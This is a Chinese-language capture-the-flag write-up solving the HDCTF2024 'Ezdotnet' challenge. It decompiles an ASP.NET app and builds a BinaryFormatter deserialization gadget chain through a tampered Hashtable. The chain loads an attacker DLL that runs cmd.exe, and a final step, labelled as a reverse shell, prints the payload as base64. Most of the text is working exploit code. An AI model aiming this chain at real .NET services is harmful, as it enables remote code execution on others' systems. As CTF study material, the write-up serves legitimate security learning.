Dotnet Challenge
Contents
HDCTF2024 Ezdotnet
题目使用版本是.NET 6.0.0
https://dotnet.microsoft.com/en-us/download/dotnet/6.0
Rider新建解决方案
.png)
依赖项导入Ezdotnet.dll
.png)
然后就可以查看源码了
.png)
先看HomeController
// Decompiled with JetBrains decompiler
// Type: Ezdotnet.Controllers.HomeController
// Assembly: Ezdotnet, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8098D795-0B6C-416A-8237-665787DB3F9B
// Assembly location: C:\Users\p0l1st\Desktop\Ezdotnet\Ezdotnet.dll
using Ezdotnet.Models;
using Ezdotnet.Utils;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
using System.Diagnostics;
#nullable enable
namespace Ezdotnet.Controllers;
public class HomeController : Controller
{
private readonly ILogger<HomeController> _logger;
public HomeController(ILogger<HomeController> logger) => this._logger = logger;
public IActionResult Index()
{
if (this.HttpContext.Request.Method == HttpMethods.Post)
new MyBinaryFormatter().Deserialize((string) this.HttpContext.Request.Form["base64str"]);
return (IActionResult) this.View();
}
public IActionResult Privacy() => (IActionResult) this.View();
[ResponseCache(Duration = 0, Location = ResponseCacheLocation.None, NoStore = true)]
public IActionResult Error()
{
return (IActionResult) this.View((object) new ErrorViewModel()
{
RequestId = (Activity.Current?.Id ?? this.HttpContext.TraceIdentifier)
});
}
}Index
public IActionResult Index()
{
if (this.HttpContext.Request.Method == HttpMethods.Post)
new MyBinaryFormatter().Deserialize((string) this.HttpContext.Request.Form["base64str"]);
return (IActionResult) this.View();
}接收POST传参base64str,并调用MyBinaryFormatter().Deserialize对其进行反序列化
namespace Ezdotnet.Utils;
public class MyBinaryFormatter
{
public void Deserialize(string base64String)
{
AppContext.SetSwitch("Switch.System.Data.AllowArbitraryDataSetTypeInstantiation", true);
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowProcessCreation", true);
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowAssembliesFromByteArrays", true);
using (MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(base64String)))
new BinaryFormatter()
{
Binder = ((SerializationBinder) new SecurityBinder())
}.Deserialize((Stream) serializationStream);
}
}这里通过AppContext.SetSwitch关闭.NET安全防护机制
对应关系如下
| 开关 | 关闭的保护机制 |
|---|---|
AllowArbitraryDataSetTypeInstantiation |
允许反序列化时创建任意类型(包括恶意类型) |
AllowProcessCreation |
允许反序列化过程中创建新进程(直接导致RCE) |
AllowAssembliesFromByteArrays |
允许从字节数组加载程序集(可执行任意代码) |
使用BinaryFormatter进行反序列化,自定义过滤器
public class SecurityBinder : SerializationBinder
{
public override Type? BindToType(string assemblyName, string typeName)
{
Console.WriteLine($"assemblyName:{assemblyName},typeName:{typeName}.");
Type type = Type.GetType($"{typeName}, {assemblyName}");
if (!(type == typeof (InvokerTransformer)) && !(type == typeof (ChainedTransformer)))
return type;
Console.WriteLine("can't deseriliza rce class.");
return (Type) null;
}
}过滤InvokerTransformer和ChainedTransformer,但是实际上并不影响反序列化
题目还给了三个Bean
namespace Ezdotnet.Beans;
[Serializable]
public class BadBean
{
private Transformer _transformer = (Transformer) new InvokerTransformer();
public BadBean()
{
this._transformer.methodName = "DASCTF";
this._transformer.methodParam = new object[1]
{
(object) "Welcome To HDCTF"
};
this._transformer.typeName = "Ezdotnet.Beans.GoodBean";
}
public override string ToString()
{
this._transformer.transform((object) new GoodBean());
return base.ToString();
}
}namespace Ezdotnet.Beans;
[Serializable]
public class ChainedTransformer : Transformer
{
public object transform(object o)
{
for (int index = 0; index < this._transformers.Length; ++index)
o = this._transformers[index].transform(o);
return o;
}
public string typeName { get; set; }
public object[] methodParam { get; set; }
public string methodName { get; set; }
public InvokerTransformer[] _transformers { get; set; }
}namespace Ezdotnet.Beans;
[Serializable]
public class InvokerTransformer : Transformer
{
public object transform(object o)
{
try
{
MethodInfo method1 = o.GetType().GetMethod(this.methodName, new Type[1]
{
typeof (byte[])
});
if (method1 != (MethodInfo) null)
return method1.Invoke(o, this.methodParam);
Type type = Type.GetType(this.typeName);
MethodInfo method2 = type.GetMethod(this.methodName, new Type[1]
{
typeof (byte[])
});
if (method2 == (MethodInfo) null)
method2 = type.GetMethod(this.methodName, new Type[1]
{
typeof (string)
});
return method2.Invoke(o, this.methodParam);
}
catch (Exception ex)
{
Console.WriteLine((object) ex);
throw;
}
}
public object[] methodParam { get; set; }
public string methodName { get; set; }
public InvokerTransformer[] _transformers { get; set; }
public string typeName { get; set; }
}不难看出是要打一个类似CC6的链子,需要利用InvokerTransformer和ChainedTransformer一步步RCE,而最终InvokerTransformer中也是存在反射,我们知道CC6是通过反射加载字节码来RCE,dotnet中也存在类加载,只不过C#中的类编译后会变成dll文件,那么最终可以通过加载dll进行RCE
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
namespace DonNET_Deserialization;
public class TEST
{
public static void Main(string[] args)
{
var assembly = Assembly.Load(File.ReadAllBytes("ExpClassa.dll"));
var types = assembly.GetTypes();
Activator.CreateInstance(types[0]);
}
}仿照上述写出ChainedTransformer版本
var invokerTransformer1 = new InvokerTransformer();
invokerTransformer1.methodName = "Load";
invokerTransformer1.methodParam = new object[] {Convert.FromBase64String("<base64>")};
invokerTransformer1.typeName = "System.Reflection.Assembly";
var invokerTransformer2 = new InvokerTransformer();
invokerTransformer2.methodName = "CreateInstance";
invokerTransformer2.typeName = "System.Reflection.Assembly";
invokerTransformer2.methodParam = new object[] { "Exp.Exp" };
ChainedTransformer chainedTransformer = new ChainedTransformer();BadBean中触发点在ToString方法,也就是说需要在反序列化过程中触发ToString方法,在ActivitySurrogateSelector利用链中触发ToString是通过HashTable方法,Hashtable在反序列化的时候会重新建key集合,引发异常的话就会触发ToString
构造Exp如下
using System.Collections;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using Ezdotnet.Beans;
using Ezdotnet.Utils;
public class Demo
{
public static void Main(string[] args)
{
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowAssembliesFromByteArrays", true);
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowProcessCreation", true);
AppContext.SetSwitch("Switch.System.Data.AllowArbitraryDataSetTypeInstantiation", true);
var invoker1 = new InvokerTransformer();
invoker1.methodName = "Load";
invoker1.methodParam = new object[] { File.ReadAllBytes("C:\\Users\\p0l1st\\Desktop\\Ezdotnet\\EzdotnetExp\\EvilDll\\bin\\Debug\\net6.0\\EvilDll.dll") };
invoker1.typeName = "System.Reflection.Assembly";
var invoker2 = new InvokerTransformer();
invoker2.methodName = "CreateInstance";
invoker2.methodParam = new object[] { "EvilDll.Class1" };
invoker2.typeName = "System.Reflection.Assembly";
ChainedTransformer chainedTransformer = new ChainedTransformer();
chainedTransformer._transformers = new InvokerTransformer[]{invoker1, invoker2};
var badBean = new BadBean();
var filed = badBean.GetType().GetField("_transformer", BindingFlags.NonPublic | BindingFlags.Instance);
filed.SetValue(badBean, chainedTransformer);
var ht = new Hashtable();
ht.Add(badBean, "");
ht.Add("", "");
FieldInfo fi_keys = ht.GetType().GetField("_buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, badBean);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
BinaryFormatter formatter = new BinaryFormatter();
byte[] binaryData;
using (MemoryStream ms = new MemoryStream())
{
formatter.Serialize(ms, ht);
//binaryData = ms.ToArray();
ms.Position = 0;
formatter.Deserialize(ms);
}
//string base64String = Convert.ToBase64String(binaryData);
//Console.WriteLine(base64String);
}
}生成dll
.png)
public class Class1
{
public Class1()
{
Process.Start("cmd.exe", "/c calc.exe");
}
}构建所选项目即可
运行成功rce
.png)
修改exp,反弹shell
using System.Collections;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using Ezdotnet.Beans;
using Ezdotnet.Utils;
public class Demo
{
public static void Main(string[] args)
{
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowAssembliesFromByteArrays", true);
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowProcessCreation", true);
AppContext.SetSwitch("Switch.System.Data.AllowArbitraryDataSetTypeInstantiation", true);
var invoker1 = new InvokerTransformer();
invoker1.methodName = "Load";
invoker1.methodParam = new object[] { File.ReadAllBytes("C:\\Users\\p0l1st\\Desktop\\Ezdotnet\\EzdotnetExp\\EvilDll\\bin\\Debug\\net6.0\\EvilDll.dll") };
invoker1.typeName = "System.Reflection.Assembly";
var invoker2 = new InvokerTransformer();
invoker2.methodName = "CreateInstance";
invoker2.methodParam = new object[] { "EvilDll.Class1" };
invoker2.typeName = "System.Reflection.Assembly";
ChainedTransformer chainedTransformer = new ChainedTransformer();
chainedTransformer._transformers = new InvokerTransformer[]{invoker1, invoker2};
var badBean = new BadBean();
var filed = badBean.GetType().GetField("_transformer", BindingFlags.NonPublic | BindingFlags.Instance);
filed.SetValue(badBean, chainedTransformer);
var ht = new Hashtable();
ht.Add(badBean, "");
ht.Add("", "");
FieldInfo fi_keys = ht.GetType().GetField("_buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, badBean);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
BinaryFormatter formatter = new BinaryFormatter();
byte[] binaryData;
using (MemoryStream ms = new MemoryStream())
{
formatter.Serialize(ms, ht);
binaryData = ms.ToArray();
//ms.Position = 0;
//formatter.Deserialize(ms);
}
string base64String = Convert.ToBase64String(binaryData);
Console.WriteLine(base64String);
}
}
Other
…